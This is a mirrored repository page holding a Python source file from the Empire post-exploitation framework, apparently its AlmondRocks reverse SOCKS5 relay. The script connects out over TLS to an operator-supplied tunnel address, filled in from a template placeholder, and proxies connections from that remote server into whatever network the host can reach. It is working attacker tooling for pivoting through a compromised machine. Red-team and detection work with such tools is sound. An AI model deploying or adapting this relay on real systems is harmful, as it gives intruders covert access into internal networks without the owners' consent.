mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
09a8c119ff
- Matches new version of AlmondRocks (v1.0.0) - Breaks compatibility with previous versions of AlmondRocks
399 lines
16 KiB
Python
399 lines
16 KiB
Python
#!/usr/bin/env python
|
|
import argparse
|
|
import logging
|
|
import random
|
|
import select
|
|
import shlex
|
|
import signal
|
|
import socket
|
|
import ssl
|
|
import struct
|
|
import sys
|
|
|
|
MTYPE_NOOP = 0x00 # No-op. Used for keepalive messages
|
|
MTYPE_COPEN = 0x01 # Open Channel messages
|
|
MTYPE_CCLO = 0x02 # Close Channel messages
|
|
MTYPE_CADDR = 0x03 # Channel Address (remote endpoint address info)
|
|
MTYPE_DATA = 0x10 # Data messages
|
|
|
|
|
|
def recvall(s, size):
|
|
data = ''
|
|
while len(data) < size:
|
|
d = s.recv(size - len(data))
|
|
if not d:
|
|
break
|
|
data += d
|
|
return data
|
|
|
|
|
|
def integer_generator(seed=random.randint(0, 0xffffffff)):
|
|
while True:
|
|
seed = (seed + 1) % 0xffffffff
|
|
yield seed
|
|
|
|
|
|
class Message(object):
|
|
""" Container class with (un)serialization methods """
|
|
M_HDR_STRUCT = struct.Struct('!BII') # Message Type | Channel ID | Payload Size
|
|
|
|
def __init__(self, mtype=MTYPE_NOOP, channel=0, size=0):
|
|
self.mtype = mtype
|
|
self.channel = channel
|
|
self.size = size
|
|
|
|
def __str__(self):
|
|
return '<Message type={} channel={}>'.format(self.mtype, self.channel)
|
|
|
|
@classmethod
|
|
def unpack(cls, data):
|
|
if len(data) < cls.M_HDR_STRUCT.size:
|
|
raise ValueError('Attempting to unpack a Message header from too little data')
|
|
return Message(*cls.M_HDR_STRUCT.unpack(data[:cls.M_HDR_STRUCT.size])), data[cls.M_HDR_STRUCT.size:]
|
|
|
|
def pack(self, data=''):
|
|
self.size = len(data)
|
|
return self.M_HDR_STRUCT.pack(self.mtype, self.channel, self.size) + data
|
|
|
|
|
|
class Channel(object):
|
|
""" Container class with remote socket and channel id """
|
|
def __init__(self):
|
|
self.socket = None # type: socket.socket
|
|
self.channel_id = None
|
|
self.remote_peer_addr = None
|
|
self.local_peer_addr = None
|
|
self.socks_handler = SocksHandler()
|
|
self.logger = logging.getLogger(self.__class__.__name__)
|
|
|
|
def __str__(self):
|
|
return '<Channel id={} remote_addr={} local_addr={}>'.format(self.channel_id, self.remote_peer_addr, self.local_peer_addr)
|
|
|
|
@property
|
|
def connected(self):
|
|
return isinstance(self.socket, socket.socket)
|
|
|
|
def fileno(self):
|
|
return self.socket.fileno()
|
|
|
|
def close(self):
|
|
self.logger.debug('Closing channel {}'.format(self))
|
|
if self.connected:
|
|
try:
|
|
self.socket.shutdown(socket.SHUT_RDWR)
|
|
self.socket.close()
|
|
except Exception as e:
|
|
self.logger.debug('Unable to close channel: {}'.format(e))
|
|
self.socket = None
|
|
|
|
|
|
class Tunnel(object):
|
|
""" Container class with connected transport socket, list of Channels, and methods for passing Messages """
|
|
def __init__(self, transport_socket):
|
|
self.channels = [] # List[Channel]
|
|
self.transport_socket = transport_socket # type: socket.socket
|
|
self.logger = logging.getLogger(self.__class__.__name__)
|
|
|
|
def send_message(self, msg, data=''):
|
|
self.logger.debug('Sending {}'.format(msg))
|
|
try:
|
|
self.transport_socket.sendall(msg.pack(data))
|
|
except (socket.error, TypeError) as e:
|
|
self.logger.critical('Problem sending a message over transport: {}'.format(e))
|
|
sys.exit(255)
|
|
|
|
def recv_message(self):
|
|
try:
|
|
msg, _ = Message.unpack(recvall(self.transport_socket, Message.M_HDR_STRUCT.size))
|
|
except socket.error as e:
|
|
self.logger.critical('Problem receiving a message over transport: {}'.format(e))
|
|
sys.exit(255)
|
|
return msg, recvall(self.transport_socket, msg.size)
|
|
|
|
def get_channel_by_id(self, channel_id):
|
|
for c in self.channels:
|
|
if c.channel_id == channel_id:
|
|
return c
|
|
raise KeyError('Invalid channel number "{}"'.format(channel_id))
|
|
|
|
def open_channel(self, channel_id, remote=False):
|
|
c = Channel()
|
|
c.channel_id = channel_id
|
|
self.channels.append(c)
|
|
if remote:
|
|
msg = Message(mtype=MTYPE_COPEN, channel=c.channel_id)
|
|
self.send_message(msg)
|
|
return c
|
|
|
|
def close_channel(self, channel_id, remote=False):
|
|
for c in self.channels:
|
|
if c.channel_id == channel_id:
|
|
c.close()
|
|
self.channels.remove(c)
|
|
self.logger.info('Closed channel: {}'.format(c))
|
|
break
|
|
if remote:
|
|
msg = Message(mtype=MTYPE_CCLO, channel=channel_id)
|
|
self.send_message(msg)
|
|
return
|
|
|
|
|
|
class SocksHandler(object):
|
|
SOCKS5_AUTH_METHODS = {
|
|
0x00: 'No Authentication Required',
|
|
0x01: 'GSSAPI',
|
|
0x02: 'USERNAME/PASSWORD',
|
|
0xFF: 'NO ACCEPTABLE METHODS'
|
|
}
|
|
|
|
def __init__(self):
|
|
self.auth_handled = False
|
|
self.request_handled = False
|
|
self.logger = logging.getLogger(self.__class__.__name__)
|
|
|
|
def handle(self, channel, data):
|
|
# SOCKSv5 Auth message
|
|
if not self.auth_handled:
|
|
data = [ord(x) for x in data]
|
|
|
|
# Expecting [VERSION | NMETHODS | METHODS] (VERSION must be 0x05)
|
|
if len(data) < 2 or data[0] != 0x05 or len(data[2:]) != data[1]:
|
|
return struct.pack('BB', 0x05, 0xFF) # No Acceptable Auth Methods
|
|
|
|
methods = [self.SOCKS5_AUTH_METHODS.get(x, hex(x)) for x in data[2:]]
|
|
self.logger.debug('Received SOCKS auth request: {}'.format(', '.join(methods)))
|
|
|
|
self.auth_handled = True
|
|
return struct.pack('BB', 0x05, 0x00) # No Auth Required
|
|
|
|
elif not self.request_handled:
|
|
if len(data) < 4 or ord(data[0]) != 0x05:
|
|
return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
|
|
cmd = ord(data[1])
|
|
rsv = ord(data[2])
|
|
atyp = ord(data[3])
|
|
if cmd not in [0x01, 0x02, 0x03]:
|
|
return struct.pack('!BBBBIH', 0x05, 0x07, 0x00, 0x01, 0, 0) # Command not supported
|
|
if rsv != 0x00:
|
|
return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
|
|
if atyp not in [0x01, 0x03, 0x04]:
|
|
return struct.pack('!BBBBIH', 0x05, 0x08, 0x00, 0x01, 0, 0) # Address type not supported
|
|
|
|
if cmd == 0x01: # CONNECT
|
|
if atyp == 0x01: # IPv4
|
|
if len(data) != 10:
|
|
return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
|
|
host = socket.inet_ntop(socket.AF_INET, data[4:8])
|
|
port, = struct.unpack('!H', data[-2:])
|
|
af = socket.AF_INET
|
|
elif atyp == 0x03: # FQDN
|
|
size = ord(data[4])
|
|
if len(data[5:]) != size + 2:
|
|
return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
|
|
host = data[5:5+size]
|
|
port, = struct.unpack('!H', data[-2:])
|
|
af = socket.AF_INET
|
|
atyp = 0x01
|
|
elif atyp == 0x04: # IPv6
|
|
if len(data) != 22:
|
|
return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
|
|
host = socket.inet_ntop(socket.AF_INET6, data[5:21])
|
|
port, = struct.unpack('!H', data[-2:])
|
|
af = socket.AF_INET6
|
|
else:
|
|
raise NotImplementedError('Failed to implement handler for atype={}'.format(hex(atyp)))
|
|
|
|
self.logger.debug('Received SOCKSv5 CONNECT request for {}:{}'.format(host, port))
|
|
|
|
try:
|
|
s = socket.socket(af)
|
|
s.settimeout(2)
|
|
s.connect((host, port))
|
|
except socket.timeout:
|
|
return struct.pack('!BBBBIH', 0x05, 0x04, 0x00, 0x01, 0, 0) # host unreachable
|
|
except socket.error:
|
|
return struct.pack('!BBBBIH', 0x05, 0x05, 0x00, 0x01, 0, 0) # connection refused
|
|
except Exception:
|
|
return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
|
|
s.settimeout(None)
|
|
channel.socket = s
|
|
peer_host, peer_port = s.getpeername()[:2]
|
|
channel.local_peer_addr = '{}[{}]:{}'.format(host, peer_host, port)
|
|
|
|
local_host, local_port = s.getsockname()[:2]
|
|
bind_addr = socket.inet_pton(af, local_host)
|
|
bind_port = struct.pack('!H', local_port)
|
|
|
|
ret = struct.pack('!BBBB', 0x05, 0x00, 0x00, atyp) + bind_addr + bind_port
|
|
self.logger.info('Connected {}'.format(channel))
|
|
self.request_handled = True
|
|
return ret
|
|
|
|
elif cmd == 0x02: # BIND
|
|
raise NotImplementedError('Need to implement BIND command') # TODO
|
|
|
|
elif cmd == 0x03: # UDP ASSOCIATE
|
|
raise NotImplementedError('Need to implement UDP ASSOCIATE command') # TODO
|
|
|
|
else:
|
|
raise NotImplementedError('Failed to implemented handler for cmd={}'.format(hex(cmd)))
|
|
|
|
|
|
class SocksBase(object):
|
|
def __init__(self, transport_addr=('', 443), socks_addr=('', 1080), keepalive=None, key=None, cert=None):
|
|
self.tunnel = None # type: Tunnel
|
|
self.transport_addr = transport_addr
|
|
self.socks_addr = socks_addr
|
|
self.keepalive = keepalive
|
|
self.socks_socket = None # type: socket.socket
|
|
self.next_channel_id = integer_generator()
|
|
self.key = key
|
|
self.cert = cert
|
|
self.logger = logging.getLogger(self.__class__.__name__)
|
|
|
|
def check_socks_protocol(self, c, data):
|
|
return False
|
|
|
|
def monitor_sockets(self):
|
|
while True:
|
|
# Check tunnel and peer connections
|
|
sockets = [x for x in self.tunnel.channels if x.connected] + [self.tunnel.transport_socket]
|
|
if self.socks_socket is not None:
|
|
sockets.append(self.socks_socket)
|
|
|
|
try:
|
|
r, _, _ = select.select(sockets, [], [], self.keepalive)
|
|
except select.error:
|
|
continue
|
|
|
|
if not r:
|
|
msg = Message(mtype=MTYPE_NOOP) # timeout, send keepalive
|
|
self.tunnel.send_message(msg)
|
|
continue
|
|
|
|
if self.tunnel.transport_socket in r:
|
|
try:
|
|
msg, data = self.tunnel.recv_message()
|
|
except Exception as e:
|
|
self.logger.critical('Error receiving messages, exiting')
|
|
self.logger.debug('Error message: {}'.format(e))
|
|
self.tunnel.transport_socket.close()
|
|
return
|
|
|
|
if msg.mtype == MTYPE_NOOP:
|
|
self.logger.debug('Received keepalive message, discarding')
|
|
|
|
elif msg.mtype == MTYPE_COPEN:
|
|
c = self.tunnel.open_channel(msg.channel)
|
|
self.logger.debug('Received OpenChannel message, opened channel: {}'.format(c))
|
|
|
|
elif msg.mtype == MTYPE_CCLO:
|
|
try:
|
|
c = self.tunnel.get_channel_by_id(msg.channel)
|
|
self.tunnel.close_channel(msg.channel)
|
|
except KeyError:
|
|
pass
|
|
else:
|
|
self.logger.info('Closed a channel: {}'.format(c))
|
|
|
|
elif msg.mtype == MTYPE_CADDR:
|
|
try:
|
|
c = self.tunnel.get_channel_by_id(msg.channel)
|
|
except KeyError:
|
|
pass
|
|
else:
|
|
c.remote_peer_addr = data
|
|
self.logger.info('Channel connected remotely: {}'.format(c))
|
|
|
|
elif msg.mtype == MTYPE_DATA:
|
|
try:
|
|
c = self.tunnel.get_channel_by_id(msg.channel)
|
|
except KeyError:
|
|
pass
|
|
else:
|
|
self.logger.debug('Received {} bytes from tunnel for {}'.format(len(data), c))
|
|
if not self.check_socks_protocol(c, data):
|
|
try:
|
|
c.socket.sendall(data)
|
|
except:
|
|
self.logger.debug('Problem sending data to channel {}'.format(c))
|
|
self.tunnel.close_channel(msg.channel, remote=True)
|
|
|
|
else:
|
|
self.logger.warning('Received message of unknown type {}'.format(hex(msg.mtype)))
|
|
|
|
continue
|
|
|
|
if self.socks_socket is not None and self.socks_socket in r:
|
|
s, addr = self.socks_socket.accept()
|
|
addr = '{}:{}'.format(*addr)
|
|
c = self.tunnel.open_channel(self.next_channel_id.next(), remote=True)
|
|
c.local_peer_addr = addr
|
|
c.socket = s
|
|
self.logger.info('Created new channel: {}'.format(c))
|
|
continue
|
|
|
|
for c in r:
|
|
try:
|
|
data = c.socket.recv(1024)
|
|
except Exception as e:
|
|
self.logger.debug('Problem recving from {}: {}'.format(c, e))
|
|
self.tunnel.close_channel(c.channel_id, remote=True)
|
|
break
|
|
if not data:
|
|
self.logger.debug('Received EOF from local socket, closing channel')
|
|
self.tunnel.close_channel(c.channel_id, remote=True)
|
|
msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
|
|
self.tunnel.send_message(msg, data=data)
|
|
self.logger.debug('Sent {} bytes over tunnel: {}'.format(len(data), msg))
|
|
|
|
def run(self):
|
|
raise NotImplementedError('Subclasses should implement the run() method')
|
|
|
|
|
|
class SocksRelay(SocksBase):
|
|
def check_socks_protocol(self, c, data):
|
|
if not c.socks_handler.auth_handled:
|
|
res = c.socks_handler.handle(c, data)
|
|
if not c.socks_handler.auth_handled:
|
|
self.logger.warning('SOCKS auth handler failed, expect channel close for {}'.format(c))
|
|
msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
|
|
self.tunnel.send_message(msg, data=res)
|
|
return True
|
|
elif not c.socks_handler.request_handled:
|
|
res = c.socks_handler.handle(c, data)
|
|
msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
|
|
self.tunnel.send_message(msg, data=res)
|
|
if not c.socks_handler.request_handled:
|
|
self.logger.warning('SOCKS req handler failed, expect channel close for {}'.format(c))
|
|
else:
|
|
msg = Message(mtype=MTYPE_CADDR, channel=c.channel_id)
|
|
self.tunnel.send_message(msg, data=c.local_peer_addr)
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
def run(self):
|
|
s = socket.socket()
|
|
s = ssl.wrap_socket(s)
|
|
self.logger.debug('Connecting to {}:{}'.format(*self.transport_addr))
|
|
try:
|
|
s.connect(self.transport_addr)
|
|
except Exception as e:
|
|
self.logger.error('Problem connecting to server: {}'.format(e))
|
|
else:
|
|
self.logger.info('Connected to {}:{}'.format(*self.transport_addr))
|
|
self.tunnel = Tunnel(s)
|
|
self.monitor_sockets()
|
|
self.logger.warning('SOCKS relay is exiting')
|
|
|
|
|
|
def relay_main(tunnel_addr=''):
|
|
tunnel_addr = (tunnel_addr.split(':')[0], int(tunnel_addr.split(':')[1]))
|
|
relay = SocksRelay(transport_addr=tunnel_addr)
|
|
relay.run()
|
|
return
|
|
|
|
|
|
relay_main(tunnel_addr='${TUNNEL_ADDR}')
|